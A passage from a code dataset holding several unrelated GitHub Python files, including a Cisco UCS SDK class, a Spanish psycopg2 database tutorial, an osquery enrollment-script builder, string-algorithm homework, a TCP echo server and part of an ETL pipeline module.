\"skip\", \"success\", \"throttled\"], []), \n        \"status\": MoPropertyMeta(\"status\", \"status\", \"string\", VersionMeta.Version201b, MoPropertyMeta.READ_WRITE, 0x8, None, None, r\"\"\"((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}\"\"\", [], []), \n    }\n\n    prop_map = {\n        \"childAction\": \"child_action\", \n        \"descr\": \"descr\", \n        \"dn\": \"dn\", \n        \"lastUpdateTime\": \"last_update_time\", \n        \"name\": \"name\", \n        \"order\": \"order\", \n        \"retry\": \"retry\", \n        \"rn\": \"rn\", \n        \"stageStatus\": \"stage_status\", \n        \"status\": \"status\", \n    }\n\n    def __init__(self, parent_mo_or_dn, name, **kwargs):\n        self._dirty_mask = 0\n        self.name = name\n        self.child_action = None\n        self.descr = None\n        self.last_update_time = None\n        self.order = None\n        self.retry = None\n        self.stage_status = None\n        self.status = None\n\n        ManagedObject.__init__(self, \"GlRequestFsmStage\", parent_mo_or_dn, **kwargs)\n\n","repo_name":"CiscoUcs/ucscsdk","sub_path":"ucscsdk/mometa/gl/GlRequestFsmStage.py","file_name":"GlRequestFsmStage.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"}
+{"seq_id":"31447402361","text":"import psycopg2\n\n# PRE-REQUISITOS:\n# Bajar e instalar Postgre desde https://www.postgresql.org/download/windows/\n# Luego crear un esquema, un usuario, darle todos los privilegios mediante:\n'''   \n    #Show databases\n    \\l\n    #Create database\n    create database staff;\n    #Connect to a database\n    \\c staff;\n    #Create a new user with a password\n    #create user mihai with encrypted password 'python';\n    #Show users\n    \\du\n    #Grant privileges on a database to a user\n    grant all privileges on database staff to mihai;\n    #Create a new schema\n    create schema mystaff authorization john;\n    #Show schemas\n    \\dn\n    #Deleting a schema / database / user\n    drop schema mystaff;\n    \\c postgres\n    drop database staff;\n    drop user mihai;\n'''\n# crear el password de ususario, y crear la DB 'staff'\n# Se puede replicar mismo ambiente en MS Access, dado que ya está insatalado en la Laptop de HP.\n\ntry:\n    connection = psycopg2.connect(database=\"staff\", user = \"mihai\", password = \"python\", host = \"127.0.0.1\", port = \"5432\")\n    \nexcept psycopg2.Error as err:\n    print(\"An error was generated!\")\n    \nelse:\n    print(\"Connection to database was successful!\")\n    \n# Crear la conexión a la BD\ncursor = connection.cursor()\n\n# Ejecutar script de creación de una tabla\ncursor.execute('''create table mystaff.employees\n      (id int primary key not null,\n       first_name varchar(25) not null,\n       last_name varchar(25) not null,\n       department varchar(25) not null,\n       phone varchar(25),\n       address varchar(50),\n       salary int);''')\n       \n# Ejecutar script para insertar registros a la tabla\ncursor.execute(\"insert into mystaff.employees (id,first_name,last_name,department,phone,address,salary) \\\n values (1, 'John', 'Smith', 'Sales', '0123456789', '1st Street, Miami', 50000), \\\n        (2, 'Jack', 'Doe', 'IT', '0213456742', '2nd Street, NY', 55000), \\\n        (3, 'Emily', 'Davids', 'Sales', '0123456999', '3rd Street, LA', 59000), \\\n        (4, 'Karen', 'Willson', 'Logistics', '0823556785', '4th Street, Las Vegas', 41000), \\\n        (5, 'Emma', 'Richard', 'Marketing', '0423453580', '5th Street, Denver', 40000);\")\n       \nconnection.commit()\n\n# Detener ejecución para poder revisar en la BD la correcta ejecución de los scripts.\n# En Postgre command prompt ejecutar \"select * from mystaff.employees;\"\ni = input(\"Pulse cualquier tecla para continuar\")\n\n# Ejecutar script que actualiza el departamento al que pertenece Jack Doe\ncursor.execute(\"update mystaff.employees set department = 'Logistics' where last_name = 'Doe';\")\nconnection.commit()\n\n# Detener ejecución para poder revisar en la BD la correcta ejecución de los scripts.\n# En Postgre command prompt ejecutar \"select * from mystaff.employees;\"\ni = input(\"Pulse cualquier tecla para continuar\")\n\n# Consultas a la BD y despliege de los resultados en pantalla\ncursor.execute(\"select * from mystaff.employees where salary > 50000;\")\nrecords = cursor.fetchall()\n\nprint(\"Empleados cuyo salario es mayor a 50K:\")\nfor record in records:\n    print(\"\\t\", record)\nprint()\n\ncursor.execute(\"select * from mystaff.employees where last_name like '%Richard%';\")\nrecords = cursor.fetchall()\n\nprint(\"Empleados cuyo apellido contiene 'Richard':\")\nfor record in records:\n    print(\"\\t\", record)\nprint()\n\ncursor.execute(\"select * from mystaff.employees where salary between 40000 and 45000;\")\nrecords = cursor.fetchall()\n\nprint(\"Empleados cuyo salario sea de 40K a 45K:\")\nfor record in records:\n    print(\"\\t\", record)\nprint()\n\ncursor.execute(\"select * from mystaff.employees where department in ('Sales', 'IT');\")\nrecords = cursor.fetchall()\n\nprint(\"Empleados cuyo departamento sea Ventas o IT:\")\nfor record in records:\n    print(\"\\t\", record)\nprint()\n\ncursor.execute(\"select * from mystaff.employees where salary between 40000 and 45000;\")\nrecords = cursor.fetchone()\n\nprint(\"Registro primero de la consulta:\")\nfor record in records:\n    print(\"\\t\", record)\nprint()\n\nrecords = cursor.fetchmany(size = 2)\n\nprint(\"Siguiente par de registros de la consulta:\")\nfor record in records:\n    print(\"\\t\", record)\nprint()\n\n# Detener ejecución para poder revisar en la BD la correcta ejecución de los scripts.\n# En Postgre command prompt ejecutar \"select * from mystaff.employees;\"\ni = input(\"Pulse cualquier tecla para continuar\")\n\n# Ejecutar script que borra aquellos empleados cuyo salario sea mayor a 50K\ncursor.execute(\"delete from mystaff.employees where salary > 50000;\")\nconnection.commit()\n\n# Detener ejecución para poder revisar en la BD la correcta ejecución de los scripts.\n# En Postgre command prompt ejecutar \"select * from mystaff.employees;\"\ni = input(\"Pulse cualquier tecla para continuar\")\n\nconnection.close()","repo_name":"franz-cr/Jupyter_Projects","sub_path":"Python3_Complete_Masterclass-Make_your_job_tasks_easier/Python3_Script_Files/File19_Automate_DB_Tasks.py","file_name":"File19_Automate_DB_Tasks.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5166866408","text":"import os\nfrom django.http import HttpResponse\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\nclass OsqueryZentralEnrollScriptBuilder(object):\n    script_name = \"osquery_zentral_setup.sh\"\n\n    def build_and_make_response(self, business_unit, tls_hostname, enroll_secret_secret, tls_server_certs):\n        template_path = os.path.join(BASE_DIR, \"template.sh\")\n        with open(template_path, \"r\") as f:\n            content = f.read()\n        content = content.replace(\"%TLS_HOSTNAME%\", tls_hostname)\n        content = content.replace(\"%ENROLL_SECRET_SECRET%\", enroll_secret_secret)\n        with open(tls_server_certs, \"r\") as f:\n            tls_server_certs_data = f.read()\n            content = content.replace(\"%TLS_SERVER_CERTS%\", tls_server_certs_data)\n        response = HttpResponse(content, \"application/octet-stream\")\n        response['Content-Length'] = len(content)\n        response['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(self.script_name)\n        return response\n","repo_name":"Mbatey88/zentral","sub_path":"zentral/contrib/osquery/deb_script/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"18939916494","text":"import copy\n\nfrom knuth_morris_pratt import zalgorithm as z\n\n\nclass Problems:\n    @staticmethod\n    def __manuallycompare(pattern, i, alphabet_set, qvalues):\n        sigma = copy.deepcopy(alphabet_set)\n        qvalue = 0\n        j = i\n        while j < len(pattern) and sigma[pattern[j]] >= 1:\n            sigma[pattern[j]] = sigma[pattern[j]] - 1\n            j += 1\n            qvalue += 1\n        qvalues.append(qvalue)\n        return j\n\n    @staticmethod\n    def multisetsubstrings(text, multiset, sigma_list):\n        r = -1\n        qvalues = list()\n        for k in range(len(text)):\n            if k >= r:\n                r = Problems.__manuallycompare(text, k, sigma_list[k], qvalues)\n            else:\n                qvalues.append(0)\n\n        return qvalues\n\n    @staticmethod\n    def find_substrings_of_combos(text, multiset, multiset_len, qvalues):\n        qval = 0\n        # for k, c in enumerate(text):\n        k = 0\n        while k < (len(text)):\n            c = text[k]\n            if c in multiset:\n                if multiset[c] >= 1:\n                    qval += 1\n                    multiset[c] -= 1\n                else:\n                    l = k - qval\n                    # l = k + 1 - qval\n                    # if text[l] in multiset:\n                    multiset[text[l]] = multiset[text[l]] + 1\n                    qval -= 1\n                    k -= 1\n            else:\n                for j in range(1, qval + 1):\n                    l = k - j\n                    multiset[text[l]] = multiset[text[l]] + 1\n                qval = 0\n            if qval == multiset_len:\n                l = k + 1 - qval\n                qvalues.append(l)\n                multiset[text[l]] = multiset[text[l]] + 1\n                qval -= 1\n            k += 1\n\n    @staticmethod\n    def longest_suffix(stringa, stringb):\n        z.ZAlgorithm.getzvalues_longest_suffix()\n","repo_name":"shere-khan/KMP","sub_path":"cot_6417_hw_1/hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33395215312","text":"#!/usr/bin/env python\n\nimport socket\n\nhost = '127.0.0.1'\nport = 5005\nBUFFER_SIZE = 20  # Normally 1024, but we want fast response\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((host, port))\ns.listen(1)\n\nconn, addr = s.accept()\nprint('Connection address:', addr)\nwhile 1:\n    byt: bytes = conn.recv(BUFFER_SIZE)\n    if byt:\n        data = byt.decode()\n        print(\"received data:\", data)\n        conn.send(byt)  # echo\n        continue\n    break\nconn.close()\n","repo_name":"sammothxc/pyTelemetry","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30530254933","text":"from pyelt.datalayers.database import Table, Schema\nfrom pyelt.datalayers.dv import HybridSat\nfrom pyelt.datalayers.sor import SorTable, SorQuery\nfrom pyelt.mappings.base import ConstantValue\nfrom pyelt.mappings.sor_to_dv_mappings import SorToEntityMapping, SorToLinkMapping, SorToValueSetMapping\nfrom pyelt.mappings.validations import DvValidation, SorValidation\nfrom pyelt.sources.databases import SourceTable, SourceQuery\nfrom pyelt.sources.files import File, CsvFile\nfrom pyelt.helpers.pyelt_logging import Logger, LoggerTypes\nfrom pyelt.process.base import BaseProcess\n\n\nclass BaseEtl(BaseProcess):\n    def __init__(self, pipe):\n        super().__init__(pipe)\n\n    def copy_to_exceptions_table(self, from_table, schema=None):\n        params = self._get_fixed_params()\n        if isinstance(from_table, str):\n            from_table = Table(from_table, schema)\n\n        params['from_table'] = from_table.name\n        params['schema'] = from_table.schema.name\n\n        from_table.reflect()\n        key_values = ''\n        for key in from_table.key_names:\n            key_values += \"'{0}: ' || {0} || ',' ||\".format(key)\n        key_values = key_values[:-2]\n        params['key_values'] = key_values\n\n        field_values = ''\n        for col in from_table.columns:\n            field_values += \"'{0}: ' || COALESCE({0}::text, '') || ',' ||\".format(col.name)\n        field_values = field_values[:-10]\n        params['field_values'] = field_values\n\n        sql = \"\"\"INSERT INTO {dv}._exceptions (_runid, schema, table_name, message, key_fields, fields )\nSELECT {runid}, '{schema}', '{from_table}', _validation_msg, {key_values}, {field_values}\nFROM {schema}.{from_table}\nWHERE _runid = {runid} AND NOT _valid;\"\"\".format(\n            **params)\n        self.execute(sql, 'copy to exceptions_table <blue>' + params['from_table'] + '</>')\n\n\n\n        # raise Exception(ex.args[0])\n\n\nclass EtlSourceToSor(BaseEtl):\n    def __init__(self, pipe):\n        super().__init__(pipe)\n\n\n    # def source_to_sor(self, mappings):\n    #     if isinstance(mappings.source, File):\n    #         self.source_file_to_sor(mappings)\n    #     elif isinstance(mappings.source, SourceTable):\n    #         self.source_db_to_sor(mappings)\n    def init_source_to_sor_old(self, mappings):\n        params = mappings.__dict__\n        params.update(self._get_fixed_params())\n        params['fields'] = mappings.get_fields()\n        params['key_fields'] = mappings.get_keys()\n        params['tmp_fields'] = mappings.get_fields(alias='tmp')\n        params['fields_compare'] = mappings.get_fields_compare(source_alias='tmp', target_alias='hstg')\n        params['keys_compare'] = mappings.get_keys_compare(source_alias='tmp', target_alias='hstg')\n\n        self.append_step('source to csv', self.source_to_csv_old, params)\n        sql = \"TRUNCATE TABLE {sor}.{temp_table}_hash;\".format(**params)\n        self.append_step('truncate temp', self.dwh.execute, sql)\n        sql = \"COPY {sor}.{temp_table}_hash ({key_fields}, _hash) FROM  '{file_name}' DELIMITER ';' CSV HEADER;\".format(**params)\n        self.append_step('copy into temp hash', self.dwh.execute, sql)\n        sql = \"SELECT COUNT(*) FROM {sor}.{sor_table};\".format(**params)\n        result = None\n        self.append_step('get rowcount', self.dwh.execute_read, sql, result)\n        #todo append voorwaarde & return\n        self.append_condition(result > 0, yes = [], no = [] )\n        self.append_step('', self.dwh.execute, sql)\n        self.append_step('', self.dwh.execute, sql)\n        self.append_step('', self.dwh.execute, sql)\n\n    def source_to_csv_old(self, params):\n        if isinstance(params['source'], SourceTable):\n            file_name = params['source'].to_csv()\n            params['file_name'] = file_name\n\n    def source_to_sor(self, mappings):\n        by_md5 = type(mappings.source) is SourceTable or type(mappings.source) is SourceQuery  # isinstance(mappings.source, SourceTable)\n        if by_md5:\n            self.source_to_sor_by_hash(mappings)\n            return\n        try:\n            debug = 'debug' in self.pipe.pipeline.config and self.pipe.pipeline.config['debug']\n\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n            params['fields'] = mappings.get_fields()\n            params['key_fields'] = mappings.get_keys()\n            params['tmp_fields'] = mappings.get_fields(alias='tmp')\n            params['fields_compare'] = mappings.get_fields_compare(source_alias='tmp', target_alias='hstg')\n            params['keys_compare'] = mappings.get_keys_compare(source_alias='tmp', target_alias='hstg')\n            params['encoding'] = mappings.get_source_encoding()\n\n            # STAP 1\n            if isinstance(mappings.source, SourceTable):\n                file_name = mappings.source.to_csv(filter=mappings.filter, ignore_fields=mappings.ignore_fields, debug=debug)\n                params['file_name'] = file_name\n                # self.logger.log('  source to csv'.format(mappings))\n\n            # STAP 2\n            sql = \"TRUNCATE TABLE {sor}.{temp_table};\".format(**params)\n            self.execute(sql, 'truncate {}'.format(params['temp_table']))\n\n            # STAP 3 Bron data naar temp\n            # we faken de quote voor textvelden opdat json velden (met dubbele quotes) goed worden ingelezen en later eenvoudig zijn te parsen naar jsonb\n            sql = \"COPY {sor}.{temp_table} ({fields}) FROM  '{file_name}' DELIMITER ';' CSV HEADER ENCODING '{encoding}' QUOTE '|';\".format(**params)\n            self.execute(sql, 'copy into {}'.format(params['temp_table']))\n\n            # STAP 4a\n            # sql = \"\"\"INSERT INTO {sor}.{sor_table}(_runid, _insert_date, _hash, _revision, {fields})\n            # SELECT {runid},now(), tmp._hash, 1, {fields}\n            # FROM {sor}.{temp_table} tmp\n            # WHERE NOT EXISTS (SELECT 1 FROM {sor}.{sor_table} hstg WHERE ({keys_compare}));\"\"\".format(**params)\n            # self.execute(sql,  'insert new into sor')\n            #\n            # # STAP 4b\n            # sql = \"\"\"INSERT INTO {sor}.{sor_table}(_runid, _insert_date, _hash, _revision, {fields})\n            #     SELECT {runid},now(), tmp._hash, hstg._revision + 1, {tmp_fields}\n            #     FROM {sor}.{temp_table} tmp JOIN {sor}.{sor_table} hstg ON ({keys_compare})\n            #     WHERE _active = True AND ({fields_compare});\"\"\".format(**params)\n            # self.execute(sql,  'insert changed into sor')\n\n            sql = \"\"\"INSERT INTO {sor}.{sor_table}(_runid, _source_system, _insert_date, _hash, _active, {fields})\n            SELECT {runid}, '{source_system}', now(), '', True, {fields}\n            FROM {sor}.{temp_table} tmp\n            EXCEPT\n            SELECT {runid}, '{source_system}', now(), '', True, {fields}\n            FROM {sor}.{sor_table} hstg WHERE _active = True;\"\"\".format(**params)\n            self.execute(sql, 'insert new into {}'.format(params['sor_table']))\n\n            # STAP 5\n            params['keys_compare'] = mappings.get_keys_compare(source_alias='previous', target_alias='current')\n            # oude is nog actief, maar runid is kleiner. Dit is het laatste record\n            sql = \"\"\"update {sor}.{sor_table} current set _revision = previous._revision + 1\n                    from {sor}.{sor_table} previous where current._active = True AND previous._active = True AND ({keys_compare}) and previous._runid < current._runid;\"\"\".format(\n                **params)\n            self.execute(sql, 'update revision')\n            # hierna pas oude inactief zetten\n            # sql = \"\"\"update {sor}.{sor_table} previous set _active = False, _finish_date = current._insert_date\n            #         from {sor}.{sor_table} current where previous._active = True AND ({keys_compare}) and current._revision = (previous._revision + 1);\"\"\".format(\n            #     **params)\n            sql = \"\"\"update {sor}.{sor_table} previous set _active = False, _finish_date = current._insert_date\n                    from {sor}.{sor_table} current where previous._active = True AND ({keys_compare}) and previous._runid < current._runid;\"\"\".format(\n                **params)\n            self.execute(sql, 'update set old ones inactive')\n\n            # sql = \"\"\"update {sor}.{sor_table} current set _revision = previous._revision + 1\n            #         from {sor}.{sor_table} previous where current._active = True AND ({keys_compare}) and previous._runid < current._runid;\"\"\".format(\n            #     **params)\n            # self.execute(sql,  'update sor set old ones inactive')\n\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n\n\n\n\n\n    def source_to_sor_by_hash(self, mappings):\n        \"\"\"Eerst worden alleen hash-keys van bron database opgehaald. Deze worden vergeleken met huidige data.\n        zijn hashes gewijzigd dan betreft het een gewijzigd record.\n        Alleen van deze worden alle gegevens opgehaald\"\"\"\n        try:\n            debug = 'debug' in self.pipe.pipeline.config and self.pipe.pipeline.config['debug']\n\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n            params['fields'] = mappings.get_fields()\n            params['key_fields'] = mappings.get_keys()\n            params['tmp_fields'] = mappings.get_fields(alias='tmp')\n            params['fields_compare'] = mappings.get_fields_compare(source_alias='tmp', target_alias='hstg')\n            params['keys_compare'] = mappings.get_keys_compare(source_alias='tmp', target_alias='hstg')\n\n              # STAP 1 data van database in csv file\n            if isinstance(mappings.source, SourceTable):\n                file_name = mappings.source.to_csv(md5_only=True, filter=mappings.filter, ignore_fields=mappings.ignore_fields, debug=debug)\n                params['file_name'] = file_name\n            # self.logger.log_simple('    source hash to csv'.format(mappings))\n\n            # STAP 2\n            sql = \"TRUNCATE TABLE {sor}.{temp_table}_hash;\".format(**params)\n            self.execute(sql, 'truncate temp')\n\n            # STAP 3 Bron data naar temp_hash\n            sql = \"COPY {sor}.{temp_table}_hash ({key_fields}, _hash) FROM  '{file_name}' DELIMITER ';' CSV HEADER;\".format(\n                    **params)\n            self.execute(sql, 'copy into temp hash')\n\n            # STAP 4a kijk of sor_table al data bevat zo ja dan wijzigingen bepalen. Zo nee dan alle data ophalen\n            sql = \"SELECT COUNT(*) FROM {sor}.{sor_table};\".format(**params)\n            result = self.execute_read(sql, 'get rowcount')\n            rowcount = result[0][0]\n\n            # STAP 6\n            sql = \"TRUNCATE TABLE {sor}.{temp_table};\".format(**params)\n            self.execute(sql, 'truncate temp')\n\n            filter = ''\n            i = 0\n            if rowcount > 0:\n                # STAP 4 bepaal wijzigingen van temp tov laatste sor data\n                # CM : Vergelijk alleen met actieve records.\n                sql = \"UPDATE {sor}.{temp_table}_hash tmp SET _changed = TRUE WHERE NOT EXISTS (SELECT 1 FROM {sor}.{sor_table} hstg WHERE ({keys_compare}) AND tmp._hash = hstg._hash AND _active = True);\".format(\n                        **params)\n                self.execute(sql, 'set status(changed) of temp')\n\n                # STAP 5 haal alle data op uit bron\n                # maak where IN\n\n                sql = \"\"\"SELECT {key_fields} FROM {sor}.{temp_table}_hash WHERE _changed;\"\"\".format(**params)\n                # changed_keys = []\n                changed_keys_str = ''\n                rows = self.dwh.engine.execute(sql)\n                # if len(rows) > 1000:\n                #     debug = True\n                for row in rows:\n                    i += 1\n                    keys_concat = ''.join(list(row))\n                    changed_keys_str += \"'{}',\".format(keys_concat)\n                    if i % 1000 == 0:\n\n                        changed_keys_str = changed_keys_str[:-1]\n                        key_concat = params['key_fields'].replace(',', '||')\n                        filter = 'WHERE {} IN ({})'.format(key_concat, changed_keys_str)\n                        print(filter)\n                        file_name = mappings.source.to_csv(md5_only=False, filter=filter,  ignore_fields=mappings.ignore_fields, debug=debug)\n                        params['file_name'] = file_name\n\n                        sql = \"COPY {sor}.{temp_table} ({fields}) FROM  '{file_name}' DELIMITER ';' CSV HEADER;\".format(\n                            **params)\n\n                        self.execute(sql, 'copy into temp row {} - {}'.format(i, i+ 1000))\n\n                        changed_keys_str = ''\n\n                changed_keys_str = changed_keys_str[:-1]\n                if changed_keys_str.strip():\n                # changed_keys_str = ','.join(changed_keys)\n                    key_concat = params['key_fields'].replace(',', '||')\n                    filter = 'WHERE {} IN ({})'.format(key_concat, changed_keys_str)\n                # self.logger.log_simple('    generated where in sql'.format(mappings))\n                else:\n                    # CM: zonder gewijzigde records nooit iets ophalen\n                    filter= 'WHERE 1=2'\n            else:\n                filter = mappings.filter\n\n            #STAP 5b\n            if isinstance(mappings.source, SourceTable):\n                file_name = mappings.source.to_csv(md5_only=False, filter=filter, ignore_fields=mappings.ignore_fields, debug=debug)\n                params['file_name'] = file_name\n            # self.logger.log_simple('    source complete to csv'.format(mappings))\n\n\n\n            # STAP 7 Bron data naar temp\n            sql = \"COPY {sor}.{temp_table} ({fields}) FROM  '{file_name}' DELIMITER ';' CSV HEADER;\".format(**params)\n            self.execute(sql, 'copy into temp row {} - end'.format(i))\n\n            # STAP 7a Update _hash\n            params['tmp_fields'] = mappings.get_fields(alias='tmp')\n            params['keys_compare'] = mappings.get_keys_compare(source_alias='tmp_hash', target_alias='tmp')\n\n            sql = \"UPDATE {sor}.{temp_table} tmp set _hash = tmp_hash._hash FROM {sor}.{temp_table}_hash tmp_hash WHERE  {keys_compare};\".format(**params)\n            self.execute(sql, 'update _hash in temp')\n\n            # STAP 8  insert into sor\n            sql = \"\"\"INSERT INTO {sor}.{sor_table}(_runid, _source_system, _insert_date, _hash, {fields})\n                SELECT {runid},'{source_system}', now(), tmp._hash, {tmp_fields}\n                FROM {sor}.{temp_table} tmp\n                 --JOIN {sor}.{temp_table}_hash tmp_hash ON {keys_compare};\"\"\".format(**params)\n            self.execute(sql, 'insert new into sor')\n\n            params['keys_compare'] = mappings.get_keys_compare(source_alias='previous', target_alias='current')\n\n            # STAP 9a SET revisienummers\n            sql = \"\"\"UPDATE {sor}.{sor_table} current SET _revision = previous._revision + 1\n                        --FROM (SELECT {key_fields}, max(_revision) as _revision, max(_runid) as _runid FROM {sor}.{sor_table} WHERE _active = TRUE GROUP BY {key_fields}) as previous\n                        FROM {sor}.{sor_table} previous\n                        WHERE current._active = True AND previous._active = True AND previous._runid < current._runid AND {keys_compare};\n                        --current._revision = 0 AND {keys_compare};\"\"\".format(**params)\n            self.execute(sql, 'update sor set _revision')\n\n            # STAP 9b SET actieve records\n            sql = \"\"\"UPDATE {sor}.{sor_table} previous SET _active = False, _finish_date = current._insert_date\n                        FROM {sor}.{sor_table} current WHERE previous._active = True AND ({keys_compare}) AND current._revision = (previous._revision + 1);\"\"\".format(\n                **params)\n            self.execute(sql, 'update sor set old ones inactive')\n\n\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n\n    def validate_duplicate_keys(self, mappings, sor_schema):\n        try:\n\n            validation = SorValidation(tbl=mappings.sor_table, schema=sor_schema)\n            validation.msg = 'duplicate key error'\n            validation.set_check_for_duplicate_keys(mappings.get_keys())\n            self.validate_duplicates(validation)\n\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n            # raise Exception(ex.args[0])\n\n    def validate_duplicates(self, validation: SorValidation):\n        try:\n            params = validation.__dict__\n            params.update(self._get_fixed_params())\n            params['keys'] = validation.get_keys()\n            params['sor_table'] = validation.tbl.name\n\n            sql = \"\"\"UPDATE {sor}.{sor_table} set _validation_msg = '{msg}'\n                where (_runid, {keys}) in (select _runid, {keys} from {sor}.{sor_table} GROUP BY _runid, {keys} HAVING count(*) > 1);\"\"\".format(\n                **params)\n            self.execute(sql, 'validate sor: mark duplicate keys')\n\n            sql = \"\"\"update {sor}.{sor_table} set _valid = FALSE, _validation_msg = '{msg}-first item'\n                where _validation_msg = '{msg}' AND floor(_runid) = floor({runid}) AND _id in (select DISTINCT ON ({keys}) _id from {sor}.{sor_table} WHERE floor(_runid) = floor({runid}) ORDER BY {keys}, _id);\"\"\".format(\n                **params)\n            self.execute(sql, 'validate sor: mark first items of duplicate keys')\n\n            # self.copy_to_exceptions_table(mappings.source)\n\n        except Exception as ex:\n            self.logger.log_error(validation.msg, err_msg=ex.args[0])\n            # raise Exception(ex.args[0])\n\n    def validate_sor(self, validation: SorValidation):\n        try:\n            if validation.check_for_duplicate_keys:\n                self.validate_duplicates(validation)\n            else:\n                params = validation.__dict__\n                params.update(self._get_fixed_params())\n                params['sor_table'] = validation.tbl.name\n                sql = \"\"\"UPDATE {sor}.{sor_table} set _valid = False, _validation_msg = COALESCE(_validation_msg, '') || '{msg}; '\n                    where _runid = {runid} AND {sql_condition};\"\"\".format(\n                    **params)\n                self.execute(sql, 'validate sor: ' + validation.msg)\n\n            # self.copy_to_exceptions_table(validation.tbl)\n        except Exception as ex:\n            self.logger.log_error(validation.msg, err_msg=ex.args[0])\n\n\nclass EtlSorToDv(BaseEtl):\n    def __init__(self, pipe):\n        super().__init__(pipe)\n\n    def sor_to_entity(self, mappings: 'SorToEntityMapping'):\n        self.logger.log('START <blue>{}</>'.format(mappings), indent_level=3)\n        try:\n            if not mappings.filter:\n                mappings.filter = '1=1'\n            params = mappings.__dict__\n            params.update(self._get_fixed_params())\n            params['hub'] = mappings.target.cls_get_hub_name()\n            params['hub_type'] = mappings.target.cls_get_hub_type()\n            if mappings.type:\n                params['hub_type'] = mappings.type\n            params['sor_table'] = mappings.source.name\n            params['relation_type'] = mappings.type\n            params['filter_hub'] = params['filter']\n\n            sql = \"SELECT MAX(_id) FROM {dv}.{hub};\".format(**params)\n            result = self.execute_read(sql, 'get maxid')\n            maxid = result[0][0]\n            if maxid == None:\n                maxid = 0\n            if maxid > 0:\n                filter_on_runid = 'floor(hstg._runid) = floor({runid})'.format(**params)\n                params['filter_hub'] += ' AND ' + filter_on_runid\n            self.hub_id = maxid\n\n            if mappings.bk_mapping:\n                sql = \"\"\"SELECT DISTINCT 0 as _id, 0 as is_new, {runid}, now(), '{source_system}', '{hub_type}', {bk_mapping} as bk FROM {sor}.{sor_table} hstg WHERE hstg._valid AND ({bk_mapping}) IS NOT NULL AND {filter_hub};\"\"\".format(\n                    **params)\n                \n                rows = self.execute_read(sql, 'get sor rows ')\n\n                self.dwh.start_transaction()\n                for row in rows:\n\n                    hub_id, is_new = self.ensure_hub(row, params)\n                    row['_id'] = hub_id\n                    row['is_new'] = is_new\n\n                    for sat_mappings in mappings.sat_mappings.values():\n                        self.__sor_to_sat(row, params, sat_mappings)\n\n            # elif mappings.key_mappings:\n            #     target_key_sat = ''\n            #     compare_key_fields = ''\n            #     for key_mapping in mappings.key_mappings:\n            #         target_key_sat = key_mapping.target.table.name\n            #         compare_key_fields += \"hstg.{} = key_sat.{} AND \".format(key_mapping.source, key_mapping.target)\n            #     compare_key_fields = compare_key_fields[:-5]\n            #     params['target_key_sat'] = target_key_sat\n            #     params['compare_key_fields'] = compare_key_fields\n            #     sql = \"\"\"UPDATE {sor}.{sor_table} hstg SET fk_{relation_type}{hub} = hub._id FROM {dv}.{hub} hub, {dv}.{target_key_sat} key_sat WHERE hub._id = key_sat._id AND key_sat._active AND {compare_key_fields} AND hstg._valid AND {filter_hub};\"\"\".format(\n            #         **params)\n            #     self.execute(sql, 'update fk_hub in sor table')\n            self.dwh.commit()\n            self.logger.log('FINISH {}'.format(mappings), indent_level=3)\n        except Exception as ex:\n            self.logger.log_error(mappings.name, err_msg=ex.args[0])\n\n    def __sor_to_sat(self, row, params, sat_mappings):\n        self.logger.log('START {}'.format(sat_mappings), indent_level=4)\n        satparams = sat_mappings.__dict__\n        satparams.update(self._get_fixed_params())\n        sat_cls = sat_mappings.target\n        satparams['sat'] = sat_cls.cls_get_name()\n        if 'hub' in params:\n            satparams['hub_or_link'] = params['hub']\n            satparams['relation_type'] = params['relation_type']\n        else:\n            satparams['hub_or_link'] = params['link']\n            satparams['relation_type'] = ''\n        satparams['filter'] = params['filter']\n        satparams['sor_fields'] = sat_mappings.get_source_fields(alias='hstg')\n        satparams['sat_fields'] = sat_mappings.get_sat_fields()\n        satparams['fields_compare'] = sat_mappings.get_fields_compare(source_alias='hstg', target_alias='sat')\n\n        if sat_cls.__base__ == HybridSat:\n            pass\n        else:\n            if row['is_new']:\n                satparams['id'] = row['_id']\n                #sor_fields moet uit rij komen\n                sql = \"\"\"INSERT INTO {dv}.{sat} (_id, _runid, _source_system, _insert_date, _revision, {sat_fields})\n                                    VALUES ( {id}, {runid}, '{source_system}', now(), 0, {sor_fields})\"\"\".format(**satparams)\n                self.execute_without_commit(sql)\n            else:\n                pass\n                #kijken of er verschil is\n                #zo ja updaten en oude krijgt revision\n\n\n        self.logger.log('FINISH {}'.format(sat_mappings), indent_level=4)\n\n    def __sor_to_sat_old(self, params, sat_mappings):\n        self.logger.log('    START {}'.format(sat_mappings))\n        satparams = sat_mappings.__dict__\n        satparams.update(self._get_fixed_params())\n        sat_cls = sat_mappings.target\n        if 'hl7' in sat_cls.cls_get_name():\n            debug = True\n        satparams['sat'] = sat_cls.cls_get_name()\n        if 'hub' in params:\n            satparams['hub_or_link'] = params['hub']\n            satparams['relation_type'] = params['relation_type']\n        else:\n            satparams['hub_or_link'] = params['link']\n            satparams['relation_type'] = ''\n        satparams['filter'] = params['filter']\n        satparams['sor_fields'] = sat_mappings.get_source_fields(alias='hstg')\n        satparams['sat_fields'] = sat_mappings.get_sat_fields()\n        satparams['fields_compare'] = sat_mappings.get_fields_compare(source_alias='hstg', target_alias='sat')\n        sql = \"SELECT 